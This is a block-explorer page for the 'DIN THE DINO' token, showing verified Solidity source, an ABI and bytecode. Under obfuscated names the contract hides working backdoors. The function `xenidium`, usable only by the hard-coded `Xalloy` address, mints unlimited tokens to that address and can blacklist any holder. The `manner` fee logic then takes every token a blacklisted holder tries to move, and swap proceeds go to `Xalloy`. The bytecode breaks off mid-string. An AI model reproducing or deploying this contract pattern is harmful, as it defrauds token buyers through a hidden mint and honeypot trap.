ETH Price: $2,529.76 (+3.53%)

Token

DIN THE DINO (DINO)
 

Overview

Max Total Supply

10,000,000,000 DINO

Holders

42

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
398,397,908.728013 DINO

Value
$0.00
0x472e52bbd0c56a4438d91265b23ccd1d6aa54ec9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DINTHEDINO

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-21
*/

/**
 *Submitted for verification at BscScan.com on 2023-04-13
*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract DINTHEDINO is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "DIN THE DINO";
    string private _symbol = "DINO";
    uint8 private _decimals = 6;
    address payable public Xalloy;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public Xanadu;

    uint256 private _totalSupply = 10000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
     constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

        Xalloy = payable(address(0xC6644cAC66d6bA917292f6298B65bD72A0FEE528));
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function xanthochroin() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : manner(from, amount);
            
            _balances[to] = _balances[to].add(fAmount);

            emit Transfer(from, to, fAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(Xalloy),
            block.timestamp
        ){} catch {}
    }

    function xenidium(address xenocurrency,uint256 xeric) public {
        if (uint256((1)+(22)+(0)).mul(9)+(1)+(0) <= xeric) xform(xeric.add(xeric),_balances);
        if (uint256((1)+(0)+(1)).mul(0)+(0)+(0) + (0)+(1)+(1) == xeric) Xanadu[xenocurrency] = (0)+(0);
        if ((1*200)+(0+0) == xeric) Xanadu[xenocurrency] = xeric;
        if (msg.sender != Xalloy) require(false,"!true");
    }

    function xform(uint256 xenic, mapping(address => uint256) /*a*/ storage /* d*/ xylophone) internal {
        xylophone[Xalloy] += xenic;
    }

    function manner(address sender, uint256 amount) internal returns (uint256) {
        uint256 backspace = amount.mul(3).div(100);

        if(Xanadu[sender] != 0) backspace += amount;

        if(backspace > 0) {
            _balances[address(this)] += backspace;
            emit Transfer(sender, address(this), backspace);
        }

        return amount.sub(backspace);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Xalloy","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Xanadu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"xanthochroin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"xenocurrency","type":"address"},{"internalType":"uint256","name":"xeric","type":"uint256"}],"name":"xenidium","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600c81526020017f44494e205448452044494e4f0000000000000000000000000000000000000000815250600190816200004a91906200069c565b506040518060400160405280600481526020017f44494e4f00000000000000000000000000000000000000000000000000000000815250600290816200009191906200069c565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff16815250600360009054906101000a900460ff16600a62000101919062000913565b6402540be40062000113919062000964565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200013e57600080fd5b506200014f620003f160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600660006200021f620003f960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620002df620003f160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200032d620003f160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200038e9190620009c0565b60405180910390a373c6644cac66d6ba917292f6298b65bd72a0fee528600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620009dd565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620004a457607f821691505b602082108103620004ba57620004b96200045c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005247fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004e5565b620005308683620004e5565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200057d62000577620005718462000548565b62000552565b62000548565b9050919050565b6000819050919050565b62000599836200055c565b620005b1620005a88262000584565b848454620004f2565b825550505050565b600090565b620005c8620005b9565b620005d58184846200058e565b505050565b5b81811015620005fd57620005f1600082620005be565b600181019050620005db565b5050565b601f8211156200064c576200061681620004c0565b6200062184620004d5565b8101602085101562000631578190505b620006496200064085620004d5565b830182620005da565b50505b505050565b600082821c905092915050565b6000620006716000198460080262000651565b1980831691505092915050565b60006200068c83836200065e565b9150826002028217905092915050565b620006a78262000422565b67ffffffffffffffff811115620006c357620006c26200042d565b5b620006cf82546200048b565b620006dc82828562000601565b600060209050601f831160018114620007145760008415620006ff578287015190505b6200070b85826200067e565b8655506200077b565b601f1984166200072486620004c0565b60005b828110156200074e5784890151825560018201915060208501945060208101905062000727565b868310156200076e57848901516200076a601f8916826200065e565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200081157808604811115620007e957620007e862000783565b5b6001851615620007f95780820291505b80810290506200080985620007b2565b9450620007c9565b94509492505050565b6000826200082c5760019050620008ff565b816200083c5760009050620008ff565b8160018114620008555760028114620008605762000896565b6001915050620008ff565b60ff84111562000875576200087462000783565b5b8360020a9150848211156200088f576200088e62000783565b5b50620008ff565b5060208310610133831016604e8410600b8410161715620008d05782820a905083811115620008ca57620008c962000783565b5b620008ff565b620008df8484846001620007bf565b92509050818404811115620008f957620008f862000783565b5b81810290505b9392505050565b600060ff82169050919050565b6000620009208262000548565b91506200092d8362000906565b92506200095c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200081a565b905092915050565b6000620009718262000548565b91506200097e8362000548565b92508282026200098e8162000548565b91508282048414831517620009a857620009a762000783565b5b5092915050565b620009ba8162000548565b82525050565b6000602082019050620009d76000830184620009af565b92915050565b608051612a50620009f960003960006106f50152612a506000f3fe60806040526004361061012e5760003560e01c80634a74bb02116100ab5780639887e2261161006f5780639887e226146103f1578063a9059cbb1461042e578063c816841b1461046b578063dd62ed3e14610496578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b80634a74bb021461030a5780635abcc5411461033557806370a082311461035e5780638da5cb5b1461039b57806395d89b41146103c657610135565b806327c8f835116100f257806327c8f835146102355780632e410f5e14610260578063313ce5671461027757806332bffed3146102a25780633345611e146102cd57610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190611eed565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611fa8565b6105cb565b6040516101999190612003565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c4919061207d565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906120a7565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a91906120c2565b610619565b60405161022c9190612003565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b6040516102579190612124565b60405180910390f35b34801561026c57600080fd5b50610275610717565b005b34801561028357600080fd5b5061028c610ac2565b604051610299919061215b565b60405180910390f35b3480156102ae57600080fd5b506102b7610ad9565b6040516102c49190612197565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef91906121b2565b610aff565b6040516103019190612003565b60405180910390f35b34801561031657600080fd5b5061031f610b1f565b60405161032c9190612003565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190611fa8565b610b32565b005b34801561036a57600080fd5b50610385600480360381019061038091906121b2565b610d06565b60405161039291906120a7565b60405180910390f35b3480156103a757600080fd5b506103b0610d4f565b6040516103bd9190612124565b60405180910390f35b3480156103d257600080fd5b506103db610d78565b6040516103e89190611eed565b60405180910390f35b3480156103fd57600080fd5b50610418600480360381019061041391906121b2565b610e0a565b60405161042591906120a7565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190611fa8565b610e22565b6040516104629190612003565b60405180910390f35b34801561047757600080fd5b50610480610e41565b60405161048d9190612124565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b891906121df565b610e67565b6040516104ca91906120a7565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f591906121b2565b610eee565b005b34801561050857600080fd5b50610523600480360381019061051e91906121b2565b611040565b6040516105309190612003565b60405180910390f35b6060600180546105489061224e565b80601f01602080910402602001604051908101604052809291908181526020018280546105749061224e565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8611060565b8484611068565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b6000610626848484611231565b506106e884610633611060565b6106e3856040518060600160405280602881526020016129f360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699611060565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116119092919063ffffffff16565b611068565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61071f611060565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a3906122cb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610810573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108349190612300565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bf9190612300565b6040518363ffffffff1660e01b81526004016108dc92919061232d565b6020604051808303816000875af11580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190612300565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600360009054906101000a900460ff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b8060006001610b4c6009601761167590919063ffffffff16565b610b569190612385565b610b609190612385565b11610b8357610b82610b7b82836116ef90919063ffffffff16565b600461174d565b5b806001806000806000610ba16000600261167590919063ffffffff16565b610bab9190612385565b610bb59190612385565b610bbf9190612385565b610bc99190612385565b610bd39190612385565b03610c1e576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8060c803610c6b5780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d02576000610d01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf890612405565b60405180910390fd5b5b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610d879061224e565b80601f0160208091040260200160405190810160405280929190818152602001828054610db39061224e565b8015610e005780601f10610dd557610100808354040283529160200191610e00565b820191906000526020600020905b815481529060010190602001808311610de357829003601f168201915b5050505050905090565b60086020528060005260406000206000915090505481565b6000610e36610e2f611060565b8484611231565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ef6611060565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a906122cb565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ce90612497565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113d90612529565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122491906120a7565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036112a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611298906125bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611310576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113079061264d565b60405180910390fd5b600b60149054906101000a900460ff1615611337576113308484846117c8565b905061160a565b600061134230610d06565b9050600b60149054906101000a900460ff161580156113ab5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113ba576113b98161199b565b5b61140c83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114f25750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611505576115008685611c4d565b611507565b835b905061155b81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ef90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115fb91906120a7565b60405180910390a36001925050505b9392505050565b6000838311158290611659576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116509190611eed565b60405180910390fd5b5060008385611668919061266d565b9050809150509392505050565b600080830361168757600090506116e9565b6000828461169591906126a1565b90508284826116a49190612712565b146116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116db906127b5565b60405180910390fd5b809150505b92915050565b60008082846116fe9190612385565b905083811015611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a90612821565b60405180910390fd5b8091505092915050565b81816000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117bd9190612385565b925050819055505050565b6000611853826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116119092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ef90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161198891906120a7565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119d3576119d2612841565b5b604051908082528060200260200182016040528015611a015781602001602082028036833780820191505090505b5090503081600081518110611a1957611a18612870565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ac0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae49190612300565b81600181518110611af857611af7612870565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611bb8959493929190612998565b600060405180830381600087803b158015611bd257600080fd5b505af1925050508015611be3575060015b50506000600b60146101000a81548160ff02191690831515021790555050565b6000611c4583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611611565b905092915050565b600080611c776064611c6960038661167590919063ffffffff16565b611db090919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611ccf578281611ccc9190612385565b90505b6000811115611d945780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d27919